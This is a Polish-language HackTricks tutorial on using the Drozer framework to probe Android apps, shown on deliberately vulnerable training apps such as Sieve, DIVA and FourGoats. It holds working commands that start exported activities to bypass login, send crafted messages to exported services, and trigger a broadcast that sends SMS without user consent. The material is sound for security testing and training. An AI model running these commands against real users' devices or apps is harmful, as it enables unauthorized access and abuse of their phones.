# Samouczek Drozera
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)! Inne sposoby wsparcia HackTricks: * Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)! * Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com) * Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family) * **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
**Wskazówka dotycząca nagród za błędy**: **Zarejestruj się** na platformie **Intigriti**, premium **platformie nagród za błędy stworzonej przez hakerów, dla hakerów**! Dołącz do nas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) już dziś i zacznij zarabiać nagrody aż do **100 000 USD**! {% embed url="https://go.intigriti.com/hacktricks" %} ## APKs do testowania * [Sieve](https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk) (od mrwlabs) * [DIVA](https://payatu.com/wp-content/uploads/2016/01/diva-beta.tar.gz) **Części tego samouczka zostały wyodrębnione z** [**dokumentacji Drozera w formacie pdf**](https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf)**.** ## Instalacja Zainstaluj klienta Drozera w swoim hostingu. Pobierz go z [najnowszych wydań](https://github.com/mwrlabs/drozer/releases). ```bash pip install drozer-2.4.4-py2-none-any.whl pip install twisted pip install service_identity ``` Pobierz i zainstaluj plik APK drozera z [najnowszych wydań](https://github.com/mwrlabs/drozer/releases). W tym momencie jest to [ten](https://github.com/mwrlabs/drozer/releases/download/2.3.4/drozer-agent-2.3.4.apk). ```bash adb install drozer.apk ``` ### Uruchamianie serwera Agent działa na porcie 31415, musimy przekierować port, aby nawiązać komunikację między klientem Drozer a Agentem, oto polecenie do wykonania: ```bash adb forward tcp:31415 tcp:31415 ``` Wreszcie **uruchom** **aplikację** i naciśnij przycisk "**ON**" ![](<../../../.gitbook/assets/image (456).png>) Następnie połącz się z nią: ```bash drozer console connect ``` ## Interesujące polecenia | **Polecenia** | **Opis** | | --------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------ | | **Help MODULE** | Wyświetla pomoc wybranego modułu | | **list** | Pokazuje listę wszystkich modułów drozera, które można wykonać w bieżącej sesji. Ukrywa moduły, których nie masz odpowiednich uprawnień do uruchomienia. | | **shell** | Uruchamia interaktywną powłokę Linux na urządzeniu, w kontekście Agenta. | | **clean** | Usuwa tymczasowe pliki przechowywane przez drozera na urządzeniu z systemem Android. | | **load** | Wczytuje plik zawierający polecenia drozera i wykonuje je sekwencyjnie. | | **module** | Znajduje i instaluje dodatkowe moduły drozera z Internetu. | | **unset** | Usuwa nazwaną zmienną, którą drozer przekazuje do wszystkich powłok Linuxa, które uruchamia. | | **set** | Przechowuje wartość w zmiennej, która zostanie przekazana jako zmienna środowiskowa do wszystkich powłok Linuxa uruchamianych przez drozera. | | **shell** | Uruchamia interaktywną powłokę Linux na urządzeniu, w kontekście Agenta. | | **run MODULE** | Wykonuje moduł drozera | | **exploit** | Drozer może tworzyć eksploity do wykonania na urządzeniu. `drozer exploit list` | | **payload** | Eksploity wymagają ładunku. `drozer payload list` | ### Pakiet Znajdź **nazwę** pakietu, filtrowanie po części nazwy: ```bash dz> run app.package.list -f sieve com.mwr.example.sieve ``` **Podstawowe informacje** o pakiecie: ```bash dz> run app.package.info -a com.mwr.example.sieve Package: com.mwr.example.sieve Process Name: com.mwr.example.sieve Version: 1.0 Data Directory: /data/data/com.mwr.example.sieve APK Path: /data/app/com.mwr.example.sieve-2.apk UID: 10056 GID: [1028, 1015, 3003] Shared Libraries: null Shared User ID: null Uses Permissions: - android.permission.READ_EXTERNAL_STORAGE - android.permission.WRITE_EXTERNAL_STORAGE - android.permission.INTERNET Defines Permissions: - com.mwr.example.sieve.READ_KEYS - com.mwr.example.sieve.WRITE_KEYS ``` Przeczytaj **Manifest**: ```bash run app.package.manifest jakhar.aseem.diva ``` **Powierzchnia ataku** pakietu: ```bash dz> run app.package.attacksurface com.mwr.example.sieve Attack Surface: 3 activities exported 0 broadcast receivers exported 2 content providers exported 2 services exported is debuggable ``` * **Aktywności**: Być może możesz uruchomić aktywność i ominąć pewnego rodzaju autoryzację, która powinna cię powstrzymać przed jej uruchomieniem. * **Dostawcy treści**: Być może możesz uzyskać dostęp do prywatnych danych lub wykorzystać jakąś podatność (wstrzyknięcie SQL lub Traversal ścieżki). * **Usługi**: * **is debuggable**: [Dowiedz się więcej](./#is-debuggeable) ### Aktywności Wartość "android:exported" skonfigurowana na **"true"** dla składowej aktywności eksportowanej w pliku AndroidManifest.xml: ```markup ``` **Lista wyeksportowanych aktywności**: ```bash dz> run app.activity.info -a com.mwr.example.sieve Package: com.mwr.example.sieve com.mwr.example.sieve.FileSelectActivity com.mwr.example.sieve.MainLoginActivity com.mwr.example.sieve.PWList ``` **Rozpoczęcie aktywności**: Być może możesz rozpocząć aktywność i ominąć pewnego rodzaju autoryzację, która powinna Cię powstrzymać przed jej uruchomieniem. {% code overflow="wrap" %} ```bash dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList ``` {% endcode %} Możesz również uruchomić wyeksportowaną aktywność za pomocą **adb**: * Nazwa pakietu to com.example.demo * Nazwa wyeksportowanej aktywności to com.example.test.MainActivity ```bash adb shell am start -n com.example.demo/com.example.test.MainActivity ``` ### Dostawcy treści Ten post był tak duży, żeby być tutaj, więc **możesz** [**uzyskać do niego dostęp na własnej stronie tutaj**](exploiting-content-providers.md). ### Usługi Usługa eksportowana jest deklarowana wewnątrz Manifest.xml: {% code overflow="wrap" %} ```markup ``` {% endcode %} Wewnątrz kodu **sprawdź** funkcję \*\*`handleMessage`\*\*, która **otrzyma** **wiadomość**: ![](<../../../.gitbook/assets/image (79).png>) #### Lista usług ```bash dz> run app.service.info -a com.mwr.example.sieve Package: com.mwr.example.sieve com.mwr.example.sieve.AuthService Permission: null com.mwr.example.sieve.CryptoService Permission: null ``` #### **Komunikacja** z usługą ```bash app.service.send Send a Message to a service, and display the reply app.service.start Start Service app.service.stop Stop Service ``` #### Przykład Spójrz na pomoc **drozera** dla `app.service.send`: ![](<../../../.gitbook/assets/image (1076).png>) Zauważ, że najpierw będziesz wysyłać dane znajdujące się w "_msg.what_", następnie "_msg.arg1_" i "_msg.arg2_", powinieneś sprawdzić w kodzie **jakie informacje są używane** i gdzie.\ Korzystając z opcji `--extra`, możesz wysłać coś interpretowanego przez "_msg.replyTo"_, a używając `--bundle-as-obj` tworzysz obiekt z podanymi szczegółami. W poniższym przykładzie: * `what == 2354` * `arg1 == 9234` * `arg2 == 1` * `replyTo == object(string com.mwr.example.sieve.PIN 1337)` ```bash run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --msg 2354 9234 1 --extra string com.mwr.example.sieve.PIN 1337 --bundle-as-obj ``` ![](<../../../.gitbook/assets/image (644).png>) ### Odbiorniki nadawcze **W sekcji podstawowych informacji o Androidzie możesz zobaczyć, co to jest odbiornik nadawczy**. Po odkryciu tych odbiorników nadawczych powinieneś **sprawdzić ich kod**. Zwróć szczególną uwagę na funkcję **`onReceive`**, ponieważ to właśnie ona będzie obsługiwać otrzymane wiadomości. #### **Wykryj wszystkie** odbiorniki nadawcze ```bash run app.broadcast.info #Detects all ``` #### Sprawdź odbiorniki nadawcze aplikacji ```bash #Check one negative run app.broadcast.info -a jakhar.aseem.diva Package: jakhar.aseem.diva No matching receivers. # Check one positive run app.broadcast.info -a com.google.android.youtube Package: com.google.android.youtube com.google.android.libraries.youtube.player.PlayerUiModule$LegacyMediaButtonIntentReceiver Permission: null com.google.android.apps.youtube.app.common.notification.GcmBroadcastReceiver Permission: com.google.android.c2dm.permission.SEND com.google.android.apps.youtube.app.PackageReplacedReceiver Permission: null com.google.android.libraries.youtube.account.AccountsChangedReceiver Permission: null com.google.android.apps.youtube.app.application.system.LocaleUpdatedReceiver Permission: null ``` #### Interakcje typu Broadcast ```bash app.broadcast.info Get information about broadcast receivers app.broadcast.send Send broadcast using an intent app.broadcast.sniff Register a broadcast receiver that can sniff particular intents ``` #### Wyślij wiadomość W tym przykładzie wykorzystując apkę [FourGoats apk](https://github.com/linkedin/qark/blob/master/tests/goatdroid.apk) Content Provider możesz **wysłać dowolny SMS** do dowolnego niepremiumowego odbiorcy **bez pytania** użytkownika o zgodę. ![](<../../../.gitbook/assets/image (412).png>) ![](<../../../.gitbook/assets/image (570).png>) Jeśli przeczytasz kod, parametry "_phoneNumber_" i "_message_" muszą zostać przesłane do Content Providera. ```bash run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --component org.owasp.goatdroid.fourgoats.broadcastreceivers SendSMSNowReceiver --extra string phoneNumber 123456789 --extra string message "Hello mate!" ``` ### Jest możliwe debugowanie Produkcyjny plik APK nigdy nie powinien być możliwy do debugowania.\ Oznacza to, że możesz **dołączyć debugger Javy** do działającej aplikacji, inspekcjonować ją w czasie rzeczywistym, ustawiać punkty przerwania, krok po kroku przechodzić przez kod, zbierać wartości zmiennych, a nawet je zmieniać. [Instytut InfoSec ma doskonały artykuł](../exploiting-a-debuggeable-applciation.md) na temat zagłębiania się w aplikację, gdy jest możliwa do debugowania i wstrzykiwania kodu w czasie wykonania. Gdy aplikacja jest możliwa do debugowania, pojawi się to w manifeście: ```xml **Wskazówka dotycząca nagrody za błąd**: **zarejestruj się** na platformie **Intigriti**, premium **platformie do nagród za błędy stworzonej przez hakerów, dla hakerów**! Dołącz do nas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) już dziś i zacznij zarabiać nagrody aż do **$100,000**! {% embed url="https://go.intigriti.com/hacktricks" %}
Zacznij od zera i zostań ekspertem AWS w dziedzinie hakerskiej z htARTE (HackTricks AWS Red Team Expert)! Inne sposoby wsparcia HackTricks: * Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)! * Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com) * Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family) * **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.